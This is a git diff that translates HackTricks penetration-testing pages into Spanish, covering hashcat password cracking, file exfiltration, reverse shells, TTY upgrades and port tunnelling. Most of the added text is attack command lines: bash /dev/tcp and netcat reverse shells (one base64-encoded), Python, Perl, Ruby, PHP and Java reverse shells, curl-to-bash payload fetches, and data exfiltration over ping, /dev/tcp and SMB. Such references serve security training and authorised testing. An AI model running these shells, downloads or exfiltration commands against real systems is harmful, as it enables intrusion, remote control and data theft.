reglas** pero puedes encontrar [**otras reglas interesantes aquí**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +- **Ataque combinador de listas de palabras** -- **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +Es posible **combinar 2 listas de palabras en 1** con hashcat.\ +Si la lista 1 contenía la palabra **"hello"** y la segunda contenía 2 líneas con las palabras **"world"** y **"earth"**. Se generarán las palabras `helloworld` y `helloearth`. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -824,9 +655,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -- **Mask attack** (`-a 3`) - +- **Ataque de máscara** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -858,9 +687,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +- Ataque de lista de palabras + máscara (`-a 6`) / ataque de máscara + lista de palabras (`-a 7`) ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -868,47 +695,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` - -#### Hashcat modes - +#### Modos de Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` - -Cracking Linux Hashes - /etc/shadow file - +Cracking Linux Hashes - archivo /etc/shadow ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` - -Cracking Windows Hashes - +Rompiendo Hashes de Windows ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` - -Cracking Common Application Hashes - +Rompiendo Hashes Comunes de Aplicaciones ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 2e5c0c1dd..c92613c26 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -1,40 +1,33 @@ -# Exfiltration +# Exfiltración {{#include ../banners/hacktricks-training.md}} -## Commonly whitelisted domains to exfiltrate information +## Dominios comúnmente en la lista blanca para exfiltrar información -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +Consulta [https://lots-project.com/](https://lots-project.com/) para encontrar dominios comúnmente en la lista blanca que pueden ser abusados -## Copy\&Paste Base64 +## Copiar\&Pegar Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### Subir archivos - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -- Python module [uploadserver](https://pypi.org/project/uploadserver/): - +- [**SimpleHttpServer imprimiendo GET y POSTs (también encabezados)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +- Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver @@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` - -### **HTTPS Server** - +### **Servidor HTTPS** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -105,31 +94,25 @@ from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): - print(request.get_json()) - return "OK" +print(request.get_json()) +return "OK" if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) - +### Servidor FTP (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` - -### FTP server (NodeJS) - +### Servidor FTP (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - -### FTP server (pure-ftp) - +### Servidor FTP (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -147,9 +130,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### **Cliente** de Windows ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - ## SMB -Kali as server - +Kali como servidor ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +O crea un recurso compartido smb **usando samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` - Windows - ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +El atacante debe tener SSHd en funcionamiento. ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +Si la víctima tiene SSH, el atacante puede montar un directorio de la víctima al atacante. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC - ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### Descargar archivo de la víctima ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### Subir archivo a la víctima ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** +gracias a **@BinaryShadow\_** ## **ICMP** - ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +En **victim**, conéctate al servidor Kali: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +Descarga un archivo con un oneliner de PHP: ```bash echo "" > down2.php ``` - ## VBScript - ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**Víctima** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hex**. Esto significa que al proporcionar un hex de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación de ensamblar archivos de hasta 64 kb de tamaño**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. - -- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) +Luego, copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe. ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index 9f8253367..94cfa4ece 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -8,7 +8,7 @@ # [**Full TTYs**](full-ttys.md) -# **Auto-generated shells** +# **Shells generadas automáticamente** - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md index b52276fda..bb8618ccb 100644 --- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md +++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md @@ -1,13 +1,12 @@ -# Expose local to the internet +# Exponer local a Internet {{#include ../../banners/hacktricks-training.md}} -**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).** +**El objetivo de esta página es proponer alternativas que permitan AL MENOS exponer puertos TCP locales y webs locales (HTTP) a Internet SIN necesidad de instalar nada en el otro servidor (solo en local si es necesario).** ## **Serveo** -From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**. - +Desde [https://serveo.net/](https://serveo.net/), permite varias características de reenvío de http y puertos **de forma gratuita**. ```bash # Get a random port from serveo.net to expose local port 4444 ssh -R 0:localhost:4444 serveo.net @@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL ssh -R 80:localhost:3000 serveo.net ``` - ## SocketXP -From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http: - +Desde [https://www.socketxp.com/download](https://www.socketxp.com/download), permite exponer tcp y http: ```bash # Expose tcp port 22 socketxp connect tcp://localhost:22 @@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22 # Expose http port 8080 socketxp connect http://localhost:8080 ``` - ## Ngrok -From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports: - +Desde [https://ngrok.com/](https://ngrok.com/), permite exponer puertos http y tcp: ```bash # Expose web in 3000 ngrok http 8000 @@ -39,11 +34,9 @@ ngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won't be charged) ngrok tcp 9000 ``` - ## Telebit -From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports: - +Desde [https://telebit.cloud/](https://telebit.cloud/) permite exponer puertos http y tcp: ```bash # Expose web in 3000 /Users/username/Applications/telebit/bin/telebit http 3000 @@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a # Expose port in 9000 /Users/username/Applications/telebit/bin/telebit tcp 9000 ``` - ## LocalXpose -From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**. - +Desde [https://localxpose.io/](https://localxpose.io/), permite varias características de reenvío de http y puertos **de forma gratuita**. ```bash # Expose web in port 8989 loclx tunnel http -t 8989 @@ -63,11 +54,9 @@ loclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro) loclx tunnel tcp --port 4545 ``` - ## Expose -From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports: - +Desde [https://expose.dev/](https://expose.dev/) permite exponer puertos http y tcp: ```bash # Expose web in 3000 ./expose share http://localhost:3000 @@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp # Expose tcp port in port 4444 (REQUIRES PREMIUM) ./expose share-port 4444 ``` - ## Localtunnel -From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free: - +Desde [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) permite exponer http de forma gratuita: ```bash # Expose web in port 8000 npx localtunnel --port 8000 ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md index 32d0eb1d5..9d24c5033 100644 --- a/src/generic-hacking/reverse-shells/full-ttys.md +++ b/src/generic-hacking/reverse-shells/full-ttys.md @@ -2,36 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - ## Full TTY -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +Tenga en cuenta que el shell que establezca en la variable `SHELL` **debe** estar **listado dentro de** _**/etc/shells**_ o `El valor de la variable SHELL no se encontró en el archivo /etc/shells. Este incidente ha sido reportado`. Además, tenga en cuenta que los siguientes fragmentos solo funcionan en bash. Si está en un zsh, cambie a bash antes de obtener el shell ejecutando `bash`. #### Python - ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - > [!NOTE] -> You can get the **number** of **rows** and **columns** executing **`stty -a`** +> Puedes obtener el **número** de **filas** y **columnas** ejecutando **`stty -a`** #### script - ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -39,8 +28,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - -### **Spawn shells** +### **Generar shells** - `python -c 'import pty; pty.spawn("/bin/sh")'` - `echo os.system('/bin/bash')` @@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +Una forma conveniente para **acceso a shell interactivo**, así como **transferencias de archivos** y **reenvío de puertos**, es colocar el servidor ssh estáticamente vinculado [ReverseSSH](https://github.com/Fahrj/reverse-ssh) en el objetivo. -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). - -1. Prepare locally to catch the ssh port forwarding request: +A continuación se muestra un ejemplo para `x86` con binarios comprimidos con upx. Para otros binarios, consulta la [página de lanzamientos](https://github.com/Fahrj/reverse-ssh/releases/latest/). +1. Prepárate localmente para capturar la solicitud de reenvío de puerto ssh: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` - -- (2a) Linux target: - +- (2a) Objetivo de Linux: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` - -- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): - +- (2b) Objetivo de Windows 10 (para versiones anteriores, consulta [project readme](https://github.com/Fahrj/reverse-ssh#features)): ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` - -- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +- Si la solicitud de reenvío de puerto ReverseSSH fue exitosa, ahora deberías poder iniciar sesión con la contraseña predeterminada `letmeinbrudipls` en el contexto del usuario que ejecuta `reverse-ssh(.exe)`: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` - ## Penelope -[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells. +[Penelope](https://github.com/brightio/penelope) actualiza automáticamente las shells reversas de Linux a TTY, maneja el tamaño del terminal, registra todo y mucho más. También proporciona soporte de readline para shells de Windows. ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e) ## No TTY -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +Si por alguna razón no puedes obtener un TTY completo, **aún puedes interactuar con programas** que esperan entrada del usuario. En el siguiente ejemplo, la contraseña se pasa a `sudo` para leer un archivo: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index c1caa101d..412f9739b 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**Si tienes preguntas sobre alguna de estas shells, puedes consultarlas en** [**https://explainshell.com/**](https://explainshell.com) ## Full TTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**Una vez que obtengas una reverse shell**[ **lee esta página para obtener un full TTY**](full-ttys.md)**.** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +No olvides verificar con otras shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh y bash. -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### Shell segura de símbolos ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### Explicación de la shell -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: Esta parte del comando inicia una shell Bash interactiva (`-i`). +2. **`>&`**: Esta parte del comando es una notación abreviada para **redirigir tanto la salida estándar** (`stdout`) como **el error estándar** (`stderr`) al **mismo destino**. +3. **`/dev/tcp//`**: Este es un archivo especial que **representa una conexión TCP a la dirección IP y puerto especificados**. +- Al **redirigir las salidas y errores a este archivo**, el comando envía efectivamente la salida de la sesión de shell interactiva a la máquina del atacante. +4. **`0>&1`**: Esta parte del comando **redirige la entrada estándar (`stdin`) al mismo destino que la salida estándar (`stdout`)**. +### Crear en archivo y ejecutar ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` - ## Forward Shell -When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively. +Al tratar con una **Remote Code Execution (RCE)** vulnerabilidad dentro de una aplicación web basada en Linux, lograr un reverse shell podría verse obstaculizado por defensas de red como reglas de iptables o mecanismos de filtrado de paquetes intrincados. En tales entornos restringidos, un enfoque alternativo implica establecer un shell PTY (Pseudo Terminal) para interactuar con el sistema comprometido de manera más efectiva. -A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment. - -To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows: +Una herramienta recomendada para este propósito es [toboggan](https://github.com/n3rada/toboggan.git), que simplifica la interacción con el entorno objetivo. +Para utilizar toboggan de manera efectiva, crea un módulo de Python adaptado al contexto RCE de tu sistema objetivo. Por ejemplo, un módulo llamado `nix.py` podría estructurarse de la siguiente manera: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: - # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution - token = jwt.encode( - {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" - ) +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) - response = httpx.get( - url="https://vulnerable.io:3200", - headers={"Authorization": f"Bearer {token}"}, - timeout=timeout, - # ||BURP|| - verify=False, - ) +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) - # Check if the request was successful - response.raise_for_status() +# Check if the request was successful +response.raise_for_status() - return response.text +return response.text ``` - -And then, you can run: - +Y luego, puedes ejecutar: ```shell toboggan -m nix.py -i ``` +Para aprovechar directamente un shell interactivo. Puedes agregar `-b` para la integración de Burpsuite y eliminar el `-i` para un envoltorio rce más básico. -To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper. +Otra posibilidad consiste en usar la implementación de shell hacia adelante de `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). -Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +Solo necesitas modificar: -You just need to modify: +- La URL del host vulnerable +- El prefijo y sufijo de tu payload (si los hay) +- La forma en que se envía el payload (¿headers? ¿data? ¿información extra?) -- The URL of the vulnerable host -- The prefix and suffix of your payload (if any) -- The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +Luego, solo puedes **enviar comandos** o incluso **usar el comando `upgrade`** para obtener un PTY completo (ten en cuenta que los pipes se leen y escriben con un retraso aproximado de 1.3s). ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +Consúltalo en [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - ## Telnet - ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**Atacante** ```bash while true; do nc -l ; done ``` +Para enviar el comando, escríbelo, presiona enter y presiona CTRL+D (para detener STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Víctima** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - ## Python - ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - ## Perl - ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby - ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP - ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - ## Java - ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat - ```bash victim> ncat --ssl -c "bash -i 